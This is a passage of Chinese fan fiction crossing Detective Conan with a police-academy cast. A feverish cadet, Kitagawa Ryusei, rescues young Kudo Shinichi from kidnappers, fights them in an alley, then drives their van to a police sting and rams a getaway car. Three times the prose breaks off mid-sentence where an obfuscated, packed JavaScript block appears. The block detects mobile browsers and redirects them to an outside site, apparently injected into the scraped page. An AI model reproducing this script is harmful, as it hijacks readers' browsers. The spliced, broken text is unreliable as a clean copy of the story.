运动会将至,不出意外他们五个人都被安排了项目。 虽然眼馋降谷零和诸伏景光手里的“800米应急处突拉练”①,但一想到要穿着装备跑八百,北川琉生还是老老实实接下鬼冢教官安排的“单人多目标射击”项目。 松田和萩原的“警务技能综合”和伊达航的“铅球”则在同一个场地。 鬼冢教官甚至撂下一句:“小子们,不包下全部冠军就等着我一起秋后算账吧!” 众人胜券在握,表示绝对没有问题。 不过计划永远赶不上变化。 不知道运动会负责人用哪个营养不良的脑细胞选择的开幕式彩排时间,仪式彩排到一半就下起了雨。 雨水来得突然,敲打在地面,撞出满地带着青草气息的土腥味。 众人赶忙收旗、搬仪器,在大雨中来来回回穿梭,狼狈不堪。 原本还彩排得有些热,被雨这么一淋反倒凉快许多,北川琉生没有急着去换洗被打湿的衣服,而是先把班旗送到了班长那。 “谢谢你了北川,快去换身衣服吧,小心别着凉。”伊达航把班旗仔细晾起,转头叮嘱北川琉生。 “知道了,班长。” 虽然感觉到了凉意,但北川琉生并不觉得自己会感冒,加上此时澡堂人应该不少,他就只回去换了件衣服。 彩排这一天是周五,运动会在下周一正式开幕,周末两天大家约好了要为项目做准备。 睡前,北川琉生觉得头有些昏沉,暗道一声不好。 他将柜子翻了个遍也没找到感冒药。 这个点其他人应该都休息了吧? 浓厚睡意席卷而来,北川琉生眼皮像安了磁石似的一不留神就碰在一起,怎么也提不起劲穿外套出门。 被子裹紧一点先凑合一晚上好了,他安慰自己道。 事实证明他不会感冒是错误判断,睡一觉就好这种奇迹也没有发生。 第二天一早,北川琉生被闹钟吵得睁开眼,顿觉浑身上下像刚单挑完哥斯拉,四肢酸软无力。 原本轻软的被子秤砣般压在身上,北川琉生试图起床,刚抬头没有三厘米就又把脑袋缓缓放下。 又沉又痛,他怀疑自己动作幅度一大,脑袋就要像鸡蛋一样被摇散黄了。 闭着眼缓了许久,北川琉生勉强坐起,翻出昨晚没用上的体温计含住。 他恹恹地靠坐着,眼皮因为高热微微泛红。 温度计拿出来,果不其然——39℃。 他居然顶着这个温度睡了一宿,北川琉生不可思议。 再烧一会他恐怕就得去【忉利天】走一趟了。 本来不想出门,现在不得不进行自救的北川琉生从床上艰难爬起来。 他匆匆裹紧厚外套,翻出没有拆封的口罩戴上去买药。 “……真糟糕。” 一句话给新的一天定下基调。 * 昨天的雨来得快走得也快,除了一地落花和挂在叶上的雨珠,再也看不出别的痕迹。 马路上飞驰而过的小轿车溅起水花,昨天为了避雨被收进店中的广告牌再一次被搬了出来。 走进药店之前,北川琉生拐了个弯,先去了趟便利店。 虽然生病没有什么胃口,但消耗也比平时大一些。 为了避免“因饿死触发异能”这种荒诞的事发生,他决定还是先填一填肚子。 有气无力地用手托着头,北川琉生等饭团加热时两个小男孩走进了便利店。 “那条巷子的墙壁上前几天被人用粉笔画满了奇奇怪怪的符号,不知道是什么意思呢。” 其中一个小男孩穿着蓝色定制小西装,带着红领结,此时正抬头看着比自己高出一截的冷藏柜。 另一个小男孩则要瘦弱许多,跟在对方后面喋喋不休。 “会不会是有人在用暗号求助呢?” “有时间写一墙壁暗号求助,那他为什么不去不远处的电话亭?” 西装小男孩有理有据地反驳同伴,环视便利店一圈后走向对站在旁边的北川琉生,轻轻拉动他的袖子,声音稚嫩语气礼貌:“哥哥,请问可以帮我们拿那两个饭团吗?” 北川琉生被拉得一愣,因为嗓子不太舒服没有出声。 他沉默点头,走到冷藏柜门前给小男孩拿出饭团,弯腰递过去。 “谢谢哥哥!” 西装小男孩礼貌道谢,接过饭团去付款后又跑回来等微波炉加热。 他手臂一撑利落,坐上北川琉生旁边的高脚椅,晃荡着双腿低头问身边的小孩:“你还记得那些暗号大概是什么样子吗?” “我……不太记得了,”小男孩面容为难地回忆,眼珠迅速一转:“像……小人!” 这句话一说出口,接下来的内容就变得异常流畅,小男孩信誓旦旦:“奇怪的、手拉手的小人。” “诶?”态度肉眼可见地变化,北川琉生看见西装小朋友眼睛骤然明亮,一改刚才的不以为意:“难道是福尔摩斯的跳舞小人暗号?!” “一定是的!”另一个赶忙附和。 听着两人聊天,北川琉生的早餐也加热好了。 原本打算离开的脚步停住,他坐回椅子上拆开饭团继续听。 西装小男孩明显在模仿大人的语气动作,用手摸了摸自己的下巴,故作成熟地道:“那我们待会一起去看看吧!” 听语气分明还是个小屁孩。 北川琉生目光在另一个男孩身上扫过,依旧默不作声。 他姿态从容、面容淡定地吃完饭团,把两个小孩的计划听了个大概,将食品包装袋处理进一个塑料袋内,拿出纸巾擦拭手指。 口罩后的声音有些模糊,北川琉生声音有些哑:“小朋友,去人少的地方记得要有家长陪同。” 穿着小西装的工藤新一一愣,不确定他是不是在跟自己说话,回答得有些犹豫:“谢、谢谢?” 不再多说,北川琉生低头看了眼时间,离开便利店,转弯穿过马路去买药。 如果不是怕留下什么解释不清的痕迹,北川琉生其实更倾向于用异能解决问题。 但无论是放任病情加重,还是窒息都太难受。他以前常用的方法——捅心脏一刀又很难不被发现。 所以为了入乡随俗,他决定以后尽量减少异能的使用。 “先生,您的东西。” 药房的工作人员将药品和小票交给北川琉生。 他道谢接过准备离开,余光看见店外刚刚那两道小身影一前一后走进巷子里。 不自觉叹了口气,北川琉生没有回学校,而是脚步一转跟在了两个小孩身后。 巷子里,两个小男孩越走越深,逐渐远离了人群。 马路上车辆来往的声音逐渐变得细微,直到完全消失在耳边。 除了脚步声,身边唯一的响动只有雨水滴落和流浪猫拨动废弃纸箱的声音。 “其实,根本没有暗号吧?”跟在后面打量四周的工藤新一停住脚步,不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104897|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往前走:“前面的巷子没有遮雨屋檐,昨天雨那么大,根本不可能留下粉笔印记。” 说完他往后撤一步,警惕地看着小男孩道:“所以你带我到这来干什么?” 被点破目的,领在前面的男孩低下头一言不发,瘦弱四肢在不自觉颤抖。 “是不是有人威胁你带我过来的,我们去报警!”工藤新一直觉不对劲,仍然抱有希望地说。 “不可以!”男孩回头声音尖利地制止,身体颤抖得更加厉害。 到底是个小孩,他终于没忍住抱头蹲在地上大哭。 “对不起!” 随着这一声,巷子里走出两个人高马大的成年男人,面容凶恶,手里还拿着小刀和铁棍。 是绑架犯。 而眼前小男孩显然是引诱目标上钩的诱饵。 工藤新一脸色一变立刻转身要跑。 而身后的路不知道什么时候也被一个男人堵上。 站在凉风飕飕的巷子里,男孩额头冒出颗颗冷汗,他当机立断高声叫喊:“救命啊!” 哪怕显得再机灵,他也只是个十岁的小孩,根本不可能躲过三个有备而来、说不定还经验丰富的成年人! “把这小鬼的嘴堵上!”一个拿铁棍的男人大喝,快步上前把作为“饵”的小男孩拎起来塞回身后面包车。 另外两人一前一后朝小男孩逼近。 面对比自己高大的成年人步步紧逼,工藤新一脸色变得难看无比,余光还关注着被拉上面包车的小孩:“……可恶。” 难道真的要这么被抓走吗? 就在男人蒲扇似的铁掌要抓上他的胳膊时,身后传来一道低哑而无奈的声音:“都提醒过你要通知家长了,小孩子好奇心太大是很危险的……” 工藤新一倏然回头。 青年从视觉死角走出来,脸上带着口罩,被风一吹面色更加苍白,只说了两句话嗓子就不舒服地咳嗽。 他手里还拎着药,静立在狭窄的巷子中间,显得弱不禁风。 “哪里来的小子,”和北川琉生一比,眼前这些人简直穷凶极恶,他们面面相觑,显然没料到会有人跟上来:“怎么办?” 其中一个男人小臂上有道疤,紧紧握住铁棍,发出令人牙酸的挤压声。他盯着北川琉生的目光阴狠:“什么怎么办,先带走再处理掉。” 对他们仿佛看死人的目光全然不在意,北川琉生“啧”了声,把手里的东西放下,活动着手腕。 他看起来一拳就能被打倒的模样和胸有成竹的态度形成了强烈的反差,别说是三个绑架犯,连工藤新一也觉得不可思议。 但这时的北川琉生就是主心骨,刚刚还能保持镇定的小男孩此时一路小跑到他身后。 工藤新一像刚刚在便利店里一样轻轻拉着他的衣角,压低声音问:“哥哥你是警校生吧?通知了警察吗?” 颇为惊讶地看了他一眼,北川琉生现在不太想调动面部肌肉,就只对眼前小男孩眨了眨眼睛,伸手在他头上安抚地一拍。 聪明的小孩。 这一拍把此时巷子里的紧张氛围拍去了大半。 不知道为什么,明明见过那么多不靠谱的大人,工藤新一还是很轻易地相信了眼前看着年龄不大的青年。 ……哪怕他面对真刀铁棒时,只是捡起路边木棍就悍然迎上去。 北川琉生头晕脑胀,所以下手更加没有收敛,侧身闪躲避开直袭面门的铁棍,他速度丝毫不见减慢,挥棍还击! 在身边小孩瞪得圆溜的眼睛中,北川琉生手里的木棍挥出猎猎破风声! 11.绑架 咔嚓——! 木棍直击处,传来两道清脆的碎裂声。 北川琉生的木棍和绑架犯握住铁棍的手骨同时断裂。 工藤新一愕然,寻着声音看过去! “啊!”在男人右手脱力,铁棒掉落的前一刻,北川琉生果断扔开只剩半截的木棍,一手牢牢抓住绑架犯的手腕反手一折! 一手接住下落的铁棍。 下一刻,北川琉生抬腿当胸一脚踹出! 男人哀嚎一声,来不及后退,摔在地上发出一声巨响。 果然还是受高烧的影响,北川琉生神色一暗。 换作平时,他这一脚至少可以踹断对方两根肋骨,直接让他失去行动力。 哪像这样软绵绵的。 没时间伤春悲秋,北川琉生掂了掂手里的铁棍,没忍住侧头咳了两声,抬眼看向其他人时眼神不耐:“快点,别磨蹭。” 过于嚣张的态度成功激怒对方,地上男人撑着爬起,狭长眼睛里划过一丝狠厉,左手抽出腰后小刀。 他恨声大喊:“杀了他!” 北川琉生不擅长体术,但那是相较于警校五人和港口Mafia而言,此时对付几个不入流的绑架犯还是绰绰有余。 视线范围内匕首划向自己,他眼也不眨,直到刀锋直逼胸口。 北川琉生脚步一抵后仰拉开距离,以迅雷之势侧身闪至男人左侧。 从手腕开始,他调动起手臂、肩膀、腰腹的力量,不留余力抡起铁棍砸向对方后背! 短刀和短棍都不是北川琉生常用的武器,但他身边的人常用。 小刀招式简单,无非是甩、捅、砍,用得好在近身打斗中能让人防不胜防。 像男人这样看着唬人、实则出手多是毫无章法乱划的,北川琉生一眼就能看出对方没有受过专业训练,徒有其表。 两者相较,北川琉生更喜欢用棍。 短棍是肢体的延伸,惯性带来更强大的力道。 只要重击胸口、锁骨、鼻梁、太阳穴这些地方,就能让对方当场丧命。 北川琉生面色暗下,却只能避开这些致命的位置——他现在是在读警校生,不能像以前一样毫无顾忌地动手。 麻烦。 后背被重击,刚刚还在叫嚣的绑架犯彻底失去反抗能力。 抬手揪住摇摇欲坠男人的头发,北川琉生眼也不眨,拉过他就往身前一挡。 森寒匕首深深扎入人体,发出割开皮肤血肉的声音。 北川琉生掌下,男人被控制住动弹不得,双眼徒劳睁大,缓缓低头看向胸口。 鲜血沿着同伙手里的刀汩汩流出。 在场所有人被这一惊变震得愣在原地,只有北川琉生轻咳两声,猛地抬脚向偷袭的人侧踢而出! 噗嗤—— 是刀刃离体的声音。 有血迹溅在青年面颊上,被他用握着铁棍的手背抹去,擦出一道血痕。 诡谲、危险。 剧痛和对死亡的恐惧让他手里的男人惊颤。 “咳咳,刀捅在右肋,放心死不了。”北川琉生轻声低语,语气柔和得像是安慰。 他抓住男人头发的手没有松,狠狠砸在巷子的墙壁上。 只一下,北川琉生便放开手。 绑架犯撞出满头鲜血直直倒下。 工藤新一:!!! 小朋友艰难咽下一口口水,第一次怀疑自己的推理出现了失误。 ……这真的是警校学生吗? 另外两人被这一幕惊得胆寒,相觑一眼,同时向两个方向行动。 其中一个冲上前想要牵制北川琉生,另一个转身玩命奔向面包车! 速战速决! 比速度,北川琉生更快。 他几步上前拉进和冲向自己的绑架犯之间的距离。 前脚正对目标,正握铁棍水平横扫而出! 绑架犯勉强闪身躲过这一棍,出刀反击,紧接着被北川琉生抬棍格挡,刀刃死死卡住。 北川琉生始终保持着侧身,减小可能被攻击到的面积,小滑步保证随时能够调整重心。 斜劈、上撩,他手腕轻巧一转,笨重的铁棍在手中顺从地转换方向。 铁棍变为反握,棍头朝下作匕首状,带着狠辣力道刺出! “啊!!” 惨叫声在耳边炸起,北川琉生面不改色没有去管,而是腰腹骤然发力,旋身将铁棍向身后投掷而出! 砰! 一道飞影闪过,跑到面包车前的男人被一棍正中后背,径直扑向车门。 一击即中。 用不着北川琉生确认情况,他再次转身,抬手一肘砸向还在惨叫的男人。 …… 不过三分钟,巷子里还能站着的人只剩下北川琉生和工藤新一。 四周陷入死寂。 这次工藤新一不敢去牵他衣服了,他甚至不知道该说什么,只能让自己看起来足够小心翼翼。他小声:“哥哥……你还好吗?” 北川琉生一愣,没反应过来似地扑闪眼睫。 不问还好,小孩的话像关上了屏蔽痛觉的开关。 他瞬间觉得自己哪哪都难受。 尤其是脑袋,疼得像有人拿着锥子从太阳穴扎进去胡乱搅弄。 “咳咳咳咳!” 身上凛冽气质一散,工藤新一眼睁睁看着青年瞬间变得柔弱极了,脸上苍白逐渐转为潮红。 震惊只有十岁的小孩,工藤新一瞬间半月眼:……槽点太多一时间不知道从哪开始吐槽。 他十分乖巧地保持沉默,小心翼翼绕过地上情况惨烈的人靠近面包车。 北川琉生没有管他,他才想起来拿出电话报警。 电话被接通:“警察吗?我手上有三个绑架犯。” 电话另一端的警察:“额……可以请您再重复一遍吗?” 北川琉生才反应过来,说出这话的自己可能更像绑架犯。 一番解释后,电话对面警察立刻重视起来,表示会立马派人出警。 就在此时,原本被关在车上的小男孩颤颤巍巍地爬下来。 他并没有因为躺在地上的绑架犯而感到放松,依然在发抖。 他颤抖地看向北川琉生和工藤新一,而他手上,一个对讲机正一下一下闪烁着幽红色的光。 像是乌鸦的眼睛。 “大原大吾!你们的车为什么一直停在原地?收到请回复!” * 【我在训练馆没有找到你,是出校了吗,琉生?】 半个小时前发出的消息还没有收到回复,其他人都已经到了训练馆,只有北川琉生迟迟没有出现。 如果没有急事,对方是不会爽约的。 降谷零关上短信,还是决定去宿舍看看。 “小降谷去做什么?”见他离开萩原研二把刚手里组装好的手/枪放下,抬头问诸伏景光。 诸伏景光都不用抬头关注幼驯染的动向,就回答:“应该是去找琉生。” “这样啊,”萩原研二不觉得奇怪了,低头继续捣鼓。 …… 北川琉生房间的门轻掩,被降谷零礼貌叩了两下后缓缓打开:“在吗?北川同学?” 里面没有人。 “……怎么不关门,”房间的主人不在,降谷零犹豫片刻还是没有进去,十分绅士地要把门关上。 虽然刻意避开视线,但优秀的视力还是让他一眼看清床头柜上摆着的体温计。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115137|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 是感冒了吗? 降谷零想。 站在房间门口,他发短信给Hiro:【我要去一趟便利店,你们有什么需要帮忙带的吗?】 对方很快回复:【帮我带一支牙膏吧,班长还需要一盒牙签,谢了Zero。】 确认一遍短信的内容,降谷零抬头将外套拉链拉好。 理由充分,准备出门。 去便利店的路上降谷零没有撞见北川琉生,可能是错过了。 不知道自己为什么要跑出来,明明只要在宿舍守株待兔就好。 他排队结账时反省地思考。 便利店旁边停着警车,闪烁的警灯映在便利店的玻璃上。 其中一条巷子入口被警戒线围住,几个西装警察交流片刻后上车离开,只留下便衣警察在原地。 没过多久警戒线也被撤下。 “请问是发生了什么吗?”降谷零礼貌询问店员。 店员是位活力满满的女士,面对青年的疑问回答得非常迅速:“好像是发生了绑架案?刚刚警方过来询问,还带来了一辆救护车。” “似乎是跟一个小孩和一位警校的学生有关呢。” 警校生经常光顾的便利店基本都在集聚在这里,那些警察过来询问他们也很正常。 “谢谢。”听见警校生,降谷零心底升起一种不好的预感,匆匆付过款,提上东西走进那条巷子。 警察已经离开得差不多了,见他靠近也没有人阻拦。 巷外是繁华街道和行走的人,巷子里曲折幽深,潮湿泥泞的暗处生长绿苔的同时也滋生细菌和污秽。 这一幕就像是整座城市的缩影。 降谷零皱眉往里走去。 地上有新鲜的轮胎痕迹,再往里走还能看见少数打斗的痕迹。 原本断在地上的木棍已经被当作证物被警察带走,他只看见了地面的鲜血。 和墙壁上一滩快干的血迹。 只简单一眼,他就推测出这是被人抓住头发撞上去留下的痕迹。降谷零没带手套,也就没尝试触碰,而是在一边单膝半蹲下。 ——那滩骇人血迹旁边的地面上有一张折叠整齐的小票。 不知为何心跳越来越快,降谷零把它捡起来,展开。 退烧药、感冒药、消炎药。 打印时间是一个小时前。 早上北川琉生桌上的体温计、警校生、出现在现场的药品购买凭证……所有的细节在脑海里连珠成线。 一道凉意从足底升起直冲降谷零头顶。 他迅速拿起手机给北川琉生打电话,一边奔向刚刚守在巷外的便衣警察! “嘟嘟——” 手机响了好一会却没有人接通,显示处于占线状态。 守在附近的便衣警察只是一个晃眼,就看见马路对面金发青年朝自己跑来。 对方来不及平复呼吸,声音急切:“警官,我是警视厅警察学校的学生,请问被绑架的人里是不是有个警校生?!” 在便衣任务被一眼认出身份,警察有些尴尬地站在原地,还是他身边的同伴开口回答道:“这件事被警视厅公安的犯罪组织对策部接手了,我们也不知道太多。” 被同伴一提醒,便衣警察赶忙点头附和,但看青年焦急的神色他还是多说了句:“但你朋友应该没什么危险。” 降谷零没注意到两位警察脸上清一色的怪异和扭曲,活像一觉醒来看见假面超人搬着富士山说要填了日本海。 此时他压根注意不到别的什么,他转身打电话通知鬼冢教官。 也无人接听。 怎么偏偏是这个时候…… 最后他只能去找好友:“Hiro,北川琉生可能被绑架了。” 12.小侦探 路边种植的树木飞快闪过连成一道虚影。 “被绑架”的北川琉生此时正开着绑架犯的面包车在公路上狂飙。 占线的手机一直连通着犯罪组织对策部的公安们。 十五分钟前,以为事情都结束、可以回学校休息的北川琉生和两个小孩一起沉默地盯着对讲机。 一起静默的还有保持通话状态的报警电话。 就在他准备破罐子破摔开口时,那个聪明小孩小跑上前,摆弄一番自己的红色小领结,从北川琉生手里拿走对讲机。 开口时发出成熟的男性声音:“小屁孩有点吵,弄晕花了点时间。” 北川琉生缓缓低头,头顶缓缓浮出一个问号:? 新时代的小鬼都这么全能了吗? 总而言之,北川琉生回学校休息的计划彻底泡汤。 在听见绑架犯名字后,电话被转到警视厅公安,表示要全权负责这个案件,并希望他能够暂时稳住其他同伙。 这个绑架团伙确实不是什么大气候,公安的目标是和这群绑架犯对接的犯罪组织。 不过公安的计划里显然没有让没毕业的警校生冲锋陷阵这一环。 但绑架犯在面包车里装了定位器,再不开往目的地恐怕会让对方产生怀疑,而公安的人一时半会赶不过去,只能在通知警校后时刻与北川琉生保持通话。 不会神奇变声小把戏的北川琉生稳不住绑架犯,但有人会。 他在面包车上找了些专业绑架工具,把三个绑匪拴在原地,留下小男孩看守等待警察,然后带着已经向对讲机套出汇合地点的工藤新一开车走了。 唯一出乎意料的是工藤新一没想到对方真的答应带上自己。而不是借走变声领结后警告他小孩不能掺和危险案件。 工藤新一疑惑,工藤新一询问。 好奇小鬼问题真多,北川琉生瞥了他一眼也有一个问题:“你先说说是怎么知道我是警校生的?” 北川琉生确信他没有见过这个男孩,至少没有在学校或者穿着制服时见过。 话音还没落,就看见眼前小孩一脸“你终于问了”的兴奋,却又故作云淡风轻地清嗓子:“哎呀,哥哥的破绽很明显啦。” 臭屁小孩,北川琉生在心里吐槽。 他表面十分捧场地追问:“具体在哪些地方呢?” 到底年龄不大,工藤新一掰着指头的样子还是能看出小孩的稚嫩:“首先是手上的茧。哥哥手上有使用多种武器留下茧,其中食指的枪茧最厚,应该是能够经常接触枪械的人。” 北川琉生若有所思,没有插话,听他接着说:“其次就是手表位置、穿着打扮。你的手表表面在手腕内侧,看时间更加方便;皮带扣固定在左侧,方便取腰间武器。从这两点看得出你受过系统的格斗训练。” “不过最重要的一点还是动作习惯啦。哪怕是坐下也脊背挺直、走路的步幅基本为七十五厘米、拐弯时习惯性走直角,这些都是普通练武人士不会有的。加上警察学校在便利店附近,而哥哥看起来年龄又刚好符合。” “所以猜出哥哥是警校生一点也不难!”工藤新一仰头骄傲总结道。 “很强的观察力。”耐心听完他的话,北川琉生由衷地赞叹一声,自我介绍说:“我叫北川琉生,确实是警校学生。” 小孩礼貌回应:“我叫工藤新一,未来将会成为优秀的侦探!” 北川琉生笑了笑,没对工藤新一的梦想作出任何评价。 这让小侦探对他的好感又上升了一些。 小孩对于成年人对待自己的态度其实非常敏感,喜欢或反感一目了然,更别说是工藤新一这样观察力极强的小朋友。 不止一个人夸过他聪明,但这些人对他的态度又都有很大的区别。 像学校老师,觉得他聪明的同时也不妨碍他只把工藤新一当成一个小孩。 遇到重要的事情老师的第一反应不会是同小孩商量,而是跳过他告知工藤夫妇。 工藤夫妇就属于另一个极端——他们一致认为工藤新一所掌握的生存技能和成年人无异,已经可以独立存活了,于是火速做好了等儿子上初中就出国过二人世界详细计划。 但北川琉生两者都不是。 他属于工藤新一从来没有接触过的一类。 把他当成十岁的孩子,但又把十岁的小孩摆在和自己同样的位置沟通交谈。 比如他会在自己请求想要跟上来时只思考片刻就爽快同意。 “所以琉生哥还没有回答我的问题呢!”意识到思绪跑偏,工藤新一连忙拉回来,十分自然地换了称呼小声控诉。 他刚刚的问题是对方为什么会答应在面对危险时带自己。 没想到北川琉生的理由过分简单:“你想来,而且能帮上忙,我就答应了,还需要别的原因吗?” “诶?不担心我会有危险吗?”工藤新一难以置信。 “我相信自己的能力,”北川琉生的回答言简意赅。 能带上他,因为北川琉生相信自己;愿意带上他,那是因为北川琉生相信工藤新一。 年龄从来不在北川琉生衡量一个人的依据。 再不济就把人拴在身上,不信会出问题,北川琉生边想着,再次问:“你的领结是哪里来的?” “邻居家的博士是个发明家,这是他做出来的小发明,”工藤新一:“在便利店里琉生哥哥是怎么看出那个男孩有问题的呀?” 原本只是工藤新一单方面的询问,交谈的节奏却不知不觉被北川琉生掌握,变成了交换消息似的一来一回问答。 “直感而已,觉得不对劲再去找证据事情会简单很多。” 诶?工藤新一豆豆眼。 应该是这样的吗?? 后视镜映出男孩不可置信的脸,北川琉生还在开车目不斜视,嘴角却颇为愉悦地勾出弧度。 总算是理解那些逗小孩玩的恶劣成年人了…… 看见故作成熟的小孩脸上露出别样的表情还真是让人心情愉悦。 北川琉生手机里,始终保持沉默的公安在此时开口。 “北川君,请汇报你的位置和状况。” “快到横滨红砖仓库了。”车窗外事物飞速向后闪过,面对熟悉的景象,北川琉生话音一顿,脸上一丝怀念闪过,快得仿佛错觉。 “情况一切正常。” “我们的人已经提前到达了目的地,你要做的就是在行动前别让对方察觉到异常。” 没让情绪过分外显,北川琉生定神露出笑容:“明白了。” 让绑架犯滚出这座城市,也算是他为这个世界的横滨作出一点微不足道的贡献了。 踩下油门,北川琉生改变车道,再一次超过身后一辆企图加速的面包车。 行驶到那辆车之前,压下速度。 下一秒,对讲机传来恨恨的声音:“大原大吾!” 见北川琉生降下车窗,已经和他有一定默契的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118304|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工藤新一无奈拉起领口领结:“什么~风太大听不清!” 说完这一句后立马扔开对讲机,窗户也随之升上来。 “琉生哥你这么知道这两批人会是竞争关系?”工藤新一再一次好奇。 这一路上北川琉生对绑架犯之间相处模式的熟悉程度超出了他的预料,对方的想法举动在青年面前简直一览无余。 脸上写满了“小孩就是天真”,北川琉生没有任何解释,反问得理直气壮:“你指望他们是什么关系?搭档?朋友?” 该不会又是直感吧…… 工藤新一比他更无奈。 就像在巷子里时那样,对方时不时让他怀疑自己推理。 在某些地方——尤其是逻辑推理和行事作风上北川琉生完全不像是一个警察。 面对一道难解的谜题,不为此好奇他就不是工藤新一了。 他眨着一双蓝水晶似的眼睛,里面充满小孩的好奇和探究欲:“哥哥的体术并不全是警校教的吧?如果没有看错你之前使用的棍法有菲律宾武术中‘十二角度攻击体系’的痕迹。” ……现在的小学生懂这么多吗? 北川琉生是真的纳罕了:“你还知道这个?从哪学的?” 工藤新一大大方方回答他:“在夏威夷的时候老爸跟我介绍过!” 他父亲是位著名的侦探小说家,对各类知识都有涉猎,连带着工藤新一能接触到的知识也远超同龄人。 “哦,那我就是在意大利学的。”北川琉生偷换问题概念。 工藤新一瞪大眼抗议:“我说的是实话。” 北川琉生不为所动:“我说的也是。” 抗议无果,工藤新一:…… 收回他之前的话,北川琉生和那些恶劣的大人一模一样! 不对、是更加恶劣! 小侦探气得接下来一段路都自闭了,只有幽怨的小眼神时不时扫过来,观察正在开车的人。 觉得有些好笑,北川琉生还没开口先咳了两声,这才想起来自己发着烧,抬手试了下额头的温度。 “侦探大人,麻烦帮我拿一下袋子里的水和退烧药可以吗?”他道。 “原来你真的生病了,”工藤新一顾不上还在生气,递过药后把矿泉水瓶拧开,小声嘀咕:“我还以为……” “以为什么?”北川琉生没有听清后半句,随口问。 工藤新一飞快摇头,头顶呆毛都快晃倒:“没什么!” 以为这是对方的出场poss这种中二理由还是不要说好了! 就着凉水吃过药,北川琉生从后视镜里关注着身后车辆的状况,没有看工藤新一,却回答了他之前的问题。 “以前在意大利和朋友一起学过一段时间菲律宾魔杖①,但因为不够凶悍凌厉一直被嘲笑,所以不太想承认。” 不够凶悍凌厉…… “哈、哈,是吗?”工藤新一闻言干笑几声,终于跳过这个话题,不打算再细究这件事。 马上就要到目的地了。 车辆逐渐驶入偏僻的地方。 绑架犯会在前面那个无人的集装箱放置点里和犯罪组织完成交易。 他们不知道的是公安已经提前一步控制了附近区域,把这一带包围了起来。 成功完成任务,北川琉生又一次瞥向后视镜。 身后面包车还在紧紧跟着。 他目光暗下,低声喃喃:“还是觉得这些城市苍蝇很烦人呢……” 13.拦截 这种感觉又来了,工藤新一把惊恐的目光一寸寸挪向前一刻还好好说话的青年。 对方身上再一次出现了和未来警察大相径庭的危险感。 “琉生哥要做什么?”他艰难做了个吞咽的动作。 现在最安全的做法应该是他们趁后面的车不注意,转弯调头赶紧逃离现场,如果对方追上来就拉开距离等待公安援助。 他们一个在发烧,一个打起来根本帮不上什么忙,怎么看都不适合硬刚。 “解决掉后面几个小虾米,算给公安先生的售后服务了,”把手机收音孔捂上,北川琉生语气听起来轻松得仿佛只是拍拍身上的灰尘,睨了他一眼:“你难道只是跟过来兜风的吗?” 他可不相信这小鬼有这么乖。 至少他在这个年纪的时候没有。 哪怕拥有乖巧的外表,北川琉生的骨子里仍刻有一股挥之不去的野性。 一直隐藏在他瞳孔的最深处。 一旁工藤新一的表情也由犹豫逐渐转向兴奋,他检查过安全带,目光变得坚定:“我们要这怎么做?” “正好试一试刚学的车辆拦截技术……逼停他们!”北川琉生扬起唇角的笑意道。 同一时间,远处集装箱处传来一阵枪响,随之而起的是大片警笛声。 公安的行动已经开始。 对讲机适时地发出声响:“大原,那群乌鸦估计暴露了,我们走!” 对方竟然直接选择放弃交易,调转方向盘。 “你们的商业信用呢,”北川琉生的声音通过对讲机中幽幽传过去,语气戏谑:“就这么抛下合作伙伴跑啦?” 在开口的同一刻,他猛打方向盘,面包车的轮胎在沥青路面擦过一道黑痕。 电光火石间,两辆车的前后顺序瞬间调换。 “你不是大原——!” 砰! 没等他说完,对讲机被北川琉生扔向车后座,任由叫唤。 北川琉生降下车窗,扑面的风灌入车厢内,把他红棕色头发吹得凌乱。 前车副驾驶探出一个寸头向后张望。 “真的不是!究竟是什么时候换的人!是条子吗?!”那人只看了一眼就把脑袋缩了回去。 “有多少人?!” “看不清!” 骤然受到惊吓,这些人陷入深深的恐慌,没一个人发现此时的公路上除了他们以外再无其他车辆。 “负责绑架小孩的三个人已经被抓住,另外一辆车的人负责接应,手上的武器应该不会比那三个人多。” 对方对这里的路况很熟悉,如果在公安赶来之前换车离开将很难追踪到他们的痕迹。 就像一滴污水汇入下水道。 北川琉生踩下油门,看着两辆车之间相处距离一点点缩短。 工藤新一则伸着脑袋观察眼前的车,虽然后窗被贴了膜景象有些模糊,但已经足够一个优秀的侦探看出很多消息:“他们只有三个人,后面的座位被拆卸了,车轮磨损比较严重,抓地力不强。” 加上昨晚刚下过雨,此时道路上还是保持着雨水浸润过的潮湿。 “只希望后座的朋友系了安全带吧。”北川琉生笑容灿烂:“坐稳了小侦探!” 再次加速,方向盘微微偏斜,整辆车以28°的斜角靠近前面的面包车。 直到保险杠和前车后轮轴对齐。 北川琉生目光一厉,最后一脚油门直接狠狠撞击上去! 砰! 目标车辆被这一撞骤然向前加速,而后面的车辆还在推进! 1秒。 2秒! 